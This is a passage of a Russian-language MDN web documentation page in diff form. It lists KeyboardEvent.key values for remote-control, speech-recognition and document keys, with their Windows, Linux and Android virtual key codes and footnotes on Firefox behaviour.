+<p><strong>Заметка:</strong> <span class="tlid-translation translation" lang="ru"><span title="">Пульт дистанционного управления обычно содержит кнопки, значения которых уже определены где-то еще, например</span></span> <em><span class="tlid-translation translation" lang="ru"><span title="">Мультимедийные клавиши</span></span></em> или <em>Клавиши управления звуком</em>. <span class="tlid-translation translation" lang="ru"><span title="">Значения этих кнопок будут соответствовать тому, что задокументировано в этих таблицах.</span></span></p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"AVRInput"</code> [3]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Изменяет источник сигнала на внешнем аудио / видео ресивере (AVR).</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_AVR_INPUT</code> (182)</td>
+  </tr>
+  <tr>
+   <td><code>"AVRPower"</code> [3]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает питание внешнего блока AVR.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_AVR_POWER</code> (181)</td>
+  </tr>
+  <tr>
+   <td><code>"ColorF0Red"</code> [3]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Универсальная функциональная клавиша мультимедиа красного цвета.</span> <span title="">Она имеет индекс 0 среди цветных клавиш.</span></span></td>
+   <td><code>VK_COLORED_KEY_0</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_PROG_RED</code> (183)</td>
+  </tr>
+  <tr>
+   <td><code>"ColorF1Green"</code> [3]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Универсальная функциональная клавиша мультимедиа зелёного цвета.</span> <span title="">Она имеет индекс 1 среди цветных клавиш.</span></span></td>
+   <td><code>VK_COLORED_KEY_1</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_PROG_GREEN</code> (184)</td>
+  </tr>
+  <tr>
+   <td><code>"ColorF2Yellow"</code> [3]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Универсальная функциональная клавиша мультимедиа жёлтого цвета.</span> <span title="">Она имеет индекс 2 среди цветных клавиш.</span></span></td>
+   <td><code>VK_COLORED_KEY_2</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_PROG_YELLOW</code> (185)</td>
+  </tr>
+  <tr>
+   <td><code>"ColorF3Blue"</code> [3]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Универсальная функциональная клавиша мультимедиа синего цвет.</span> <span title="">Она имеет индекс 3 среди цветных клавиш.</span></span></td>
+   <td><code>VK_COLORED_KEY_3</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_PROG_BLUE</code> (186)</td>
+  </tr>
+  <tr>
+   <td><code>"ColorF4Grey"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Универсальная функциональная клавиша мультимедиа серого цвета.</span> <span title="">Она имеет индекс 4 среди цветных клавиш.</span></span></td>
+   <td><code>VK_COLORED_KEY_4</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_PROG_GREY</code></td>
+  </tr>
+  <tr>
+   <td><code>"ColorF5Brown"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Универсальная функциональная клавиша мультимедиа коричневого цвета.</span> <span title="">Она имеет индекс 5 среди цветных клавиш.</span></span></td>
+   <td><code>VK_COLORED_KEY_5</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_PROG_BROWN</code></td>
+  </tr>
+  <tr>
+   <td><code>"ClosedCaptionToggle"</code></td>
+   <td>Включает и выключает скрытые субтитры.</td>
+   <td><code>VK_CC</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_CAPTIONS</code> (175)</td>
+  </tr>
+  <tr>
+   <td><code>"Dimmer"</code></td>
+   <td>Регулирует яркость устройства, переключаясь между двумя уровнями яркости или переключаясь между несколькими уровнями яркости.</td>
+   <td><code>VK_DIMMER</code></td>
+   <td></td>
+   <td><code>GDK_KEY_BrightnessAdjust</code> (0x1008FF3B)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"DisplaySwap"</code></td>
+   <td>Циклически переключает источники видео</td>
+   <td><code>VK_DISPLAY_SWAP</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"DVR"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает источник входного сигнала на цифровой видеорегистратор (DVR).</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_DVR</code> (173)</td>
+  </tr>
+  <tr>
+   <td><code>"Exit"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Кнопка «Выход» для выхода из текущего приложения или меню.</span></span></td>
+   <td><code>VK_EXIT</code></td>
+   <td></td>
+   <td><code>Qt::Key_Exit</code> (0x0102000a)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteClear0"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Очищает первый слот списка избранного.</span></span></td>
+   <td><code>VK_CLEAR_FAVORITE_0</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteClear1"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Очищает второй слот списка избранного.</span></span></td>
+   <td><code>VK_CLEAR_FAVORITE_1</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteClear2"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Очищает третий слот списка избранного.</span></span></td>
+   <td><code>VK_CLEAR_FAVORITE_2</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteClear3"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Очищает четвертый слот списка избранного.</span></span></td>
+   <td><code>VK_CLEAR_FAVORITE_3</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteRecall0"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Выбирает (вызывает) программу или содержимое, хранящееся в первом слоте списка избранного.</span></span></td>
+   <td><code>VK_RECALL_FAVORITE_0</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteRecall1"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Выбирает (вызывает) программу или содержимое, хранящееся во втором слоте списка избранного.</span></span></td>
+   <td><code>VK_RECALL_FAVORITE_1</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteRecall2"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Выбирает (вызывает) программу или содержимое, хранящееся в третьем слоте списка избранного.</span></span></td>
+   <td><code>VK_RECALL_FAVORITE_2</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteRecall3"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Выбирает (вызывает) программу или содержимое, хранящееся в четвертом слоте списка избранного.</span></span></td>
+   <td><code>VK_RECALL_FAVORITE_3</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteStore0"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Сохраняет текущую программу или контент в первый слот списка избранного.</span></span></td>
+   <td><code>VK_STORE_FAVORITE_0</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteStore1"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Сохраняет текущую программу или контент во второй слот списка избранного.</span></span></td>
+   <td><code>VK_STORE_FAVORITE_1</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteStore2"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Сохраняет текущую программу или контент в третий слот списка избранного.</span></span></td>
+   <td><code>VK_STORE_FAVORITE_2</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FavoriteStore3"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Сохраняет текущую программу или контент в четвертый слот списка избранного.</span></span></td>
+   <td><code>VK_STORE_FAVORITE_3</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Guide"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает отображение программы или содержимого, содержащего руководство.</span></span></td>
+   <td><code>VK_GUIDE</code></td>
+   <td></td>
+   <td><code>Qt::Key_Guide</code> (0x0100011A)</td>
+   <td><code>KEYCODE_GUIDE</code> (172)</td>
+  </tr>
+  <tr>
+   <td><code>"GuideNextDay"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Если руководство отображается в данный момент, эта кнопка указывает руководству отобразить содержимое на следующий день.</span></span></td>
+   <td><code>VK_NEXT_DAY</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"GuidePreviousDay"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Если руководство отображается в данный момент, эта кнопка указывает руководству отобразить содержимое предыдущего дня.</span></span></td>
+   <td><code>VK_PREV_DAY</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Info"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает отображение информации о текущем выбранном содержимом, программе или медиа.</span></span></td>
+   <td><code>VK_INFO</code></td>
+   <td></td>
+   <td><code>Qt::Key_Info</code> (0x0100011B)</td>
+   <td><code>KEYCODE_INFO</code> (165)</td>
+  </tr>
+  <tr>
+   <td><code>"InstantReplay"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Указывает устройству выполнить мгновенное перевоспроизведение (обычно это некоторая форма возврата на короткий промежуток времени с последующим воспроизведением, возможно, но обычно не в замедленном режиме).</span></span></td>
+   <td><code>VK_INSTANT_REPLAY</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Link"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Открывает содержимое, связанное с текущей программой, если это возможно и доступно.</span></span></td>
+   <td><code>VK_LINK</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ListProgram"</code></td>
+   <td>Список текущей программы.</td>
+   <td><code>VK_LIST</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LiveContent"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает отображение списка доступного в данный момент live-содержимого или программ.</span></span></td>
+   <td><code>VK_LIVE</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Lock"</code></td>
+   <td>Блокирует и разблокирует текущее выбранное содержимое или программу.</td>
+   <td><code>VK_LOCK</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"MediaApps"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Представляет список мультимедийных приложений, таких как программы просмотра фотографий, аудио- и видеоплееры, а также игры.</span></span> [1]</td>
+   <td><code>VK_APPS</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"MediaAudioTrack"</code></td>
+   <td>Клавиша звуковой дорожки.</td>
+   <td></td>
+   <td></td>
+   <td>GDK_KEY_AudioCycleTrack (0x1008FF9B)<br>
+    <code>Qt::Key_AudioCycleTrack</code> (0x01000106)</td>
+   <td><code>KEYCODE_MEDIA_AUDIO_TRACK</code> (222)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaLast"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Возврат к последнему просмотренному содержимому, программе или другому медиафайлу.</span></span></td>
+   <td><code>VK_LAST</code></td>
+   <td></td>
+   <td><code>Qt::Key_MediaLast</code> (0x0100FFFF)</td>
+   <td><code>KEYCODE_LAST_CHANNEL</code> (229)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaSkipBackward"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переход назад к предыдущему содержимому или программе.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_MEDIA_SKIP_BACKWARD</code></td>
+  </tr>
+  <tr>
+   <td><code>"MediaSkipForward"</code></td>
+   <td>Переход к следующему содержимому или программе.</td>
+   <td><code>VK_SKIP</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_MEDIA_SKIP_FORWARD</code></td>
+  </tr>
+  <tr>
+   <td><code>"MediaStepBackward"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переход назад к предыдущему содержимому или программе.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_MEDIA_STEP_BACKWARD</code></td>
+  </tr>
+  <tr>
+   <td><code>"MediaStepForward"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переход к следующему содержимому или программе.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_MEDIA_SKIP_FORWARD</code></td>
+  </tr>
+  <tr>
+   <td><code>"MediaTopMenu"</code></td>
+   <td>Кнопка верхнего меню. Открывает главное меню носителя (например, для диска DVD или Blu-Ray).</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_TopMenu</code> (0x0100010A)</td>
+   <td><code>KEYCODE_MEDIA_TOP_MENU</code></td>
+  </tr>
+  <tr>
+   <td><code>"NavigateIn"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переход в подменю или параметр.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_NAVIGATE_IN</code></td>
+  </tr>
+  <tr>
+   <td><code>"NavigateNext"</code></td>
+   <td>Переход к следующему элементу.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_NAVIGATE_NEXT</code></td>
+  </tr>
+  <tr>
+   <td><code>"NavigateOut"</code></td>
+   <td>Переход из текущего экрана или меню.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_NAVIGATE_OUT</code></td>
+  </tr>
+  <tr>
+   <td><code>"NavigatePrevious"</code></td>
+   <td>Переход к предыдущему элементу.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_NAVIGATE_PREVIOUS</code></td>
+  </tr>
+  <tr>
+   <td><code>"NextFavoriteChannel"</code></td>
+   <td>Циклически переходит на следующий канал в списке избранного.</td>
+   <td><code>VK_NEXT_FAVORITE_CHANNEL</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"NextUserProfile"</code></td>
+   <td>Циклически переходит к следующему сохраненному профилю пользователя, если эта функция поддерживается и существует несколько профилей.</td>
+   <td><code>VK_USER</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"OnDemand"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Открывает пользовательский интерфейс для выбора содержимого или программ по запросу для просмотра.</span></span></td>
+   <td><code>VK_ON_DEMAND</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Pairing"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Запускает процесс сопряжения пульта дистанционного управления с управляемым устройством.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_PAIRING</code> (225)</td>
+  </tr>
+  <tr>
+   <td><code>"PinPDown"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Кнопка для перемещения изображения «картинка в картинке» вниз.</span></span></td>
+   <td><code>VK_PINP_DOWN</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"PinPMove"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Кнопка для управления перемещением изображения «картинка в картинке».</span></span></td>
+   <td><code>VK_PINP_MOVE</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"PinPToggle"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Включает и выключает отображение изображения в «картинка в картинке».</span></span></td>
+   <td><code>VK_PINP_TOGGLE</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"PinPUp"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Кнопка для перемещения изображения «картинка в картинке» вверх.</span></span></td>
+   <td><code>VK_PINP_UP</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"PlaySpeedDown"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Уменьшает скорость воспроизведения мультимедиа.</span></span></td>
+   <td><code>VK_PLAY_SPEED_DOWN</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"PlaySpeedReset"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Возвращает нормальную скорость воспроизведения мультимедиа.</span></span></td>
+   <td><code>VK_PLAY_SPEED_RESET</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"PlaySpeedUp"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Увеличивает скорость воспроизведения мультимедиа.</span></span></td>
+   <td><code>VK_PLAY_SPEED_UP</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"RandomToggle"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Включает и выключает случайные медиафайлы (также известно как «режим случайного воспроизведения»).</span></span></td>
+   <td><code>VK_RANDOM_TOGGLE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioRandomPlay</code> (0x1008FF99)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"RcLowBattery"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Код, отправляемый при низком заряде батареи пульта ДУ.</span> <span title="">Это вообще не соответствует физической кнопке/клавише.</span></span></td>
+   <td><code>VK_RC_LOW_BATTERY</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"RecordSpeedNext"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Циклически переключает доступные скорости записи на носитель.</span></span></td>
+   <td><code>VK_RECORD_SPEED_NEXT</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"RfBypass"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Включает и выключает режим пропуска радиочастотного (RF) входа.</span> <span title="">В режиме пропуска РЧ входной сигнал передается непосредственно на выход РЧ без какой-либо обработки или фильтрации.</span></span></td>
+   <td><code>VK_RF_BYPASS</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ScanChannelsToggle"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Включает и выключает режим сканирования каналов.</span> <span title="">Это режим, который автоматически переключает каналы, пока пользователь не остановит сканирование.</span></span></td>
+   <td><code>VK_SCAN_CHANNELS_TOGGLE</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ScreenModeNext"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Циклически переключает доступные режимы отображения экрана.</span></span></td>
+   <td><code>VK_SCREEN_MODE_NEXT</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Settings"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Включает и выключает отображение экрана настроек устройства.</span></span></td>
+   <td><code>VK_SETTINGS</code></td>
+   <td></td>
+   <td><code>Qt::Key_Settings</code> (0x0100011C)</td>
+   <td><code>KEYCODE_SETTINGS</code></td>
+  </tr>
+  <tr>
+   <td><code>"SplitScreenToggle"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Включает и выключает режим разделения экрана.</span></span></td>
+   <td><code>VK_SPLIT_SCREEN_TOGGLE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_SplitScreen (</code>0x1008FF7D)<br>
+    <code>Qt::Key_SplitScreen</code> (0x010000ED)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"STBInput"</code> [3]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключение между источниками сигнала на внешней приставке (STB).</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_STB_INPUT</code> (180)</td>
+  </tr>
+  <tr>
+   <td><code>"STBPower"</code> [3]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Включает и выключает внешний STB.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_STB_POWER</code> (179)</td>
+  </tr>
+  <tr>
+   <td><code>"Subtitle"</code></td>
+   <td>Включает и выключает отображение субтитров, если они доступны.</td>
+   <td><code>VK_SUBTITLE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Subtitle</code> (0x1008FF9A)</td>
+   <td><code>KEYCODE_CAPTIONS</code> (175)</td>
+  </tr>
+  <tr>
+   <td><code>"Teletext"</code></td>
+   <td>Включает и выключает отображение {{interwiki("wikipedia", "телетекст")}}а,если доступно.</td>
+   <td><code>VK_TELETEXT</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_TELETEXT</code> (233)</td>
+  </tr>
+  <tr>
+   <td><code>"VideoModeNext"</code> [3]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Перебирает доступные видеорежимы.</span></span></td>
+   <td><code>VK_VIDEO_MODE_NEXT</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Next_VMode</code> (0x1008FE22)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Wink"</code></td>
+   <td>Заставляет устройство идентифицировать себя каким-либо образом, например, мигает светом, на короткое время меняет яркость световых индикаторов или издает звуковой сигнал.</td>
+   <td><code>VK_WINK</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ZoomToggle"</code> [2]</td>
+   <td>Переключает между полноэкранным и масштабированным отображением содержимого или иным образом изменяет уровень увеличения.</td>
+   <td><code>VK_ZOOM</code> (0xFB)</td>
+   <td></td>
+   <td><code>Qt::Key_Zoom</code> (0x01020006)</td>
+   <td><code>KEYCODE_TV_ZOOM_MODE</code> (255)</td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] Не путайте клавишу медиа-контроллера <code>VK_APPS</code> с клавишей Windows <code>VK_APPS</code>, которая также известна как <code>VK_CONTEXT_MENU</code>. Эта клавиша возвращает значение <code>"ContextMenu"</code>.</p>
+
+<p>[2] Internet Explorer (проверено в версиях 9 и 11) и Firefox 36 и более ранние определяли кнопку переключения масштаба как <code>"Zoom"</code>. В Firefox 37 исправлено на <code>"ZoomToggle"</code>.</p>
+
+<p>[3] Эти клавиши возвращали <code>"Unidentified"</code> до Firefox 37.</p>
+
+<h2 id="Клавиши_распознавания_речи"><span class="tlid-translation translation" lang="ru"><span title="">Клавиши распознавания речи</span></span></h2>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Эти специальные мультимедийные клавиши используются для управления функциями распознавания речи.</span></span></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"SpeechCorrectionList"</code> [1]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Представляет список возможных исправлений неверно определенного слова.</span></span></td>
+   <td><code>APPCOMMAND_CORRECTION_LIST</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"SpeechInputToggle"</code> [2]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключение между режимом диктовки и режимом команд/управления.</span> <span title="">Это позволяет механизму обработки речи знать, интерпретировать ли произносимые слова как вводимый текст или как команды.</span></span></td>
+   <td><code>APPCOMMAND_DICTATE_OR_COMMAND_CONTROL_TOGGLE</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] В Windows команда <code>APPCOMMAND_CORRECTION_LIST</code> генерирует значение <code>"Unidentified"</code> в Firefox.</p>
+
+<p>[2] В Windows команда <code>APPCOMMAND_DICTATE_OR_COMMAND_CONTROL_TOGGLE</code> генерирует значение <code>"Unidentified"</code> в Firefox.</p>
+
+<h2 id="Клавиши_документа">Клавиши документа</h2>
+
+<p>Эти клавиши управляют документами. В спецификации они включены в другие наборы клавиш(например, мультимедийные), но разумнее выделять их в собственную категорию.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"Close"</code> [1]</td>
+   <td>Закрывает текущий документ или сообщение. Не должен выходить из приложения.</td>
+   <td><code>APPCOMMAND_CLOSE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Close</code> (0x1008FF56)<br>
+    <code>Qt::Key_Close</code> (0x010000CE)</td>
+   <td><code>KEYCODE_MEDIA_CLOSE</code> (128)</td>
+  </tr>
+  <tr>
+   <td><code>"New"</code> [1]</td>
+   <td>Создает новый документ или сообщение.</td>
+   <td><code>APPCOMMAND_NEW</code></td>
+   <td></td>
+   <td><code>GDK_KEY_New</code> (0x1008FF68)<br>
+    <code>Qt::Key_New</code> (0x01000120)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Open"</code> [1]</td>
+   <td>Открывает существующий документ или сообщение.</td>
+   <td><code>APPCOMMAND_OPEN</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Open</code> (0x1008FF6B)<br>
+    <code>Qt::Key_Open</code> (0x01000121)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Print"</code></td>
+   <td>Печатает текущий документ или сообщение.</td>
+   <td><code>APPCOMMAND_PRINT</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Print</code> (0xFF61)<br>
+    <code>Qt::Print</code> (0x01000009)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Save"</code> [1]</td>
+   <td>Сохраняет текущий документ или сообщение.</td>
+   <td><code>APPCOMMAND_SAVE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Save</code> (0x1008FF77)<br>
+    <code>Qt::Key_Save</code> (0x010000EA)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"SpellCheck"</code> [1]</td>
+   <td>Запускает проверку орфографии в текущем документе.</td>
+   <td><code>APPCOMMAND_SPELL_CHECK</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Spell</code> (0x1008FF7C)<br>
+    <code>Qt::Key_Spell</code> (0x010000EC)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"MailForward"</code> [1]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Открывает пользовательский интерфейс для пересылки сообщения.</span></span></td>
+   <td><code>APPCOMMAND_FORWARD_MAIL</code></td>
+   <td></td>
+   <td><code>GDK_KEY_MailForward</code> (0x1008FF90)<br>
+    <code>Qt::Key_MailForward</code> (0x010000FB)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"MailReply"</code> [1]</td>
+   <td>Открывает пользовательский интерфейс для ответа на сообщение.</td>
+   <td><code>APPCOMMAND_REPLY_TO_MAIL</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Reply</code> (0x1008FF72)<br>
+    <code>Qt::Key_Reply</code> (0x010000E5)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"MailSend"</code> [1]</td>
+   <td>Отправляет текущее сообщение.</td>
+   <td><code>APPCOMMAND_SEND_MAIL</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Send</code> (0x1008FF7B)<br>
+    <code>Qt::Key_Send</code> (0x010000EB)</td>
+   <td></td>
